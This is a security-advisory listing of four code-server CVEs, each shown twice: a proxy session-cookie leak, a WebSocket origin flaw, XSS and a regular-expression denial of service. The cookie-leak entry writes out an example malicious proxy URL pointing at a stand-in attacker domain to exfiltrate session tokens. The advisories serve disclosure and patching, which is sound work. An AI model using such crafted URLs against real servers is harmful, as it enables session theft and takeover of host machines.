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8 vulnerabilities found for code-server by coder
CVE-2025-47269 (GCVE-0-2025-47269)
Vulnerability from cvelistv5 – Published: 2025-05-09 20:59 – Updated: 2025-05-10 01:45
VLAI
Title
code-server session cookie can be extracted by having user visit specially crafted proxy URL
Summary
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
Severity
8.3 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/coder/code-server/security/adv… | x_refsource_CONFIRM |
| https://github.com/coder/code-server/commit/47d6d… | x_refsource_MISC |
| https://github.com/coder/code-server/releases/tag… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| coder | code-server |
Affected:
< 4.99.4
|
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CVE-2023-26114 (GCVE-0-2023-26114)
Vulnerability from cvelistv5 – Published: 2023-03-23 05:00 – Updated: 2025-02-25 19:30
VLAI
Summary
Versions of the package code-server before 4.10.1 are vulnerable to Missing Origin Validation in WebSockets handshakes. Exploiting this vulnerability can allow an adversary in specific scenarios to access data from and connect to the code-server instance.
Severity
9.3 (Critical)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | code-server |
Affected:
0 , < 4.10.1
(semver)
|
Credits
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CVE-2021-42648 (GCVE-0-2021-42648)
Vulnerability from cvelistv5 – Published: 2022-05-11 17:34 – Updated: 2024-08-04 03:38
VLAI
Summary
Cross-site scripting (XSS) vulnerability exists in Coder Code-Server before 3.12.0, allows attackers to execute arbitrary code via crafted URL.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/cdr/code-server/issues/4355 | x_refsource_MISC |
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CVE-2021-3810 (GCVE-0-2021-3810)
Vulnerability from cvelistv5 – Published: 2021-09-17 06:15 – Updated: 2024-08-03 17:09
VLAI
Title
Inefficient Regular Expression Complexity in cdr/code-server
Summary
code-server is vulnerable to Inefficient Regular Expression Complexity
Severity
7.5 (High)
CWE
- CWE-1333 - Inefficient Regular Expression Complexity
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://huntr.dev/bounties/38888513-30fc-4d8f-805… | x_refsource_CONFIRM |
| https://github.com/cdr/code-server/commit/ca617df… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| cdr | cdr/code-server |
Affected:
unspecified , < 3.12.0
(custom)
|
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CVE-2025-47269 (GCVE-0-2025-47269)
Vulnerability from nvd – Published: 2025-05-09 20:59 – Updated: 2025-05-10 01:45
VLAI
Title
code-server session cookie can be extracted by having user visit specially crafted proxy URL
Summary
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
Severity
8.3 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/coder/code-server/security/adv… | x_refsource_CONFIRM |
| https://github.com/coder/code-server/commit/47d6d… | x_refsource_MISC |
| https://github.com/coder/code-server/releases/tag… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| coder | code-server |
Affected:
< 4.99.4
|
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CVE-2023-26114 (GCVE-0-2023-26114)
Vulnerability from nvd – Published: 2023-03-23 05:00 – Updated: 2025-02-25 19:30
VLAI
Summary
Versions of the package code-server before 4.10.1 are vulnerable to Missing Origin Validation in WebSockets handshakes. Exploiting this vulnerability can allow an adversary in specific scenarios to access data from and connect to the code-server instance.
Severity
9.3 (Critical)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | code-server |
Affected:
0 , < 4.10.1
(semver)
|
Credits
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CVE-2021-42648 (GCVE-0-2021-42648)
Vulnerability from nvd – Published: 2022-05-11 17:34 – Updated: 2024-08-04 03:38
VLAI
Summary
Cross-site scripting (XSS) vulnerability exists in Coder Code-Server before 3.12.0, allows attackers to execute arbitrary code via crafted URL.
Severity
No CVSS data available.
CWE
- n/a
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/cdr/code-server/issues/4355 | x_refsource_MISC |
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CVE-2021-3810 (GCVE-0-2021-3810)
Vulnerability from nvd – Published: 2021-09-17 06:15 – Updated: 2024-08-03 17:09
VLAI
Title
Inefficient Regular Expression Complexity in cdr/code-server
Summary
code-server is vulnerable to Inefficient Regular Expression Complexity
Severity
7.5 (High)
CWE
- CWE-1333 - Inefficient Regular Expression Complexity
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://huntr.dev/bounties/38888513-30fc-4d8f-805… | x_refsource_CONFIRM |
| https://github.com/cdr/code-server/commit/ca617df… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| cdr | cdr/code-server |
Affected:
unspecified , < 3.12.0
(custom)
|
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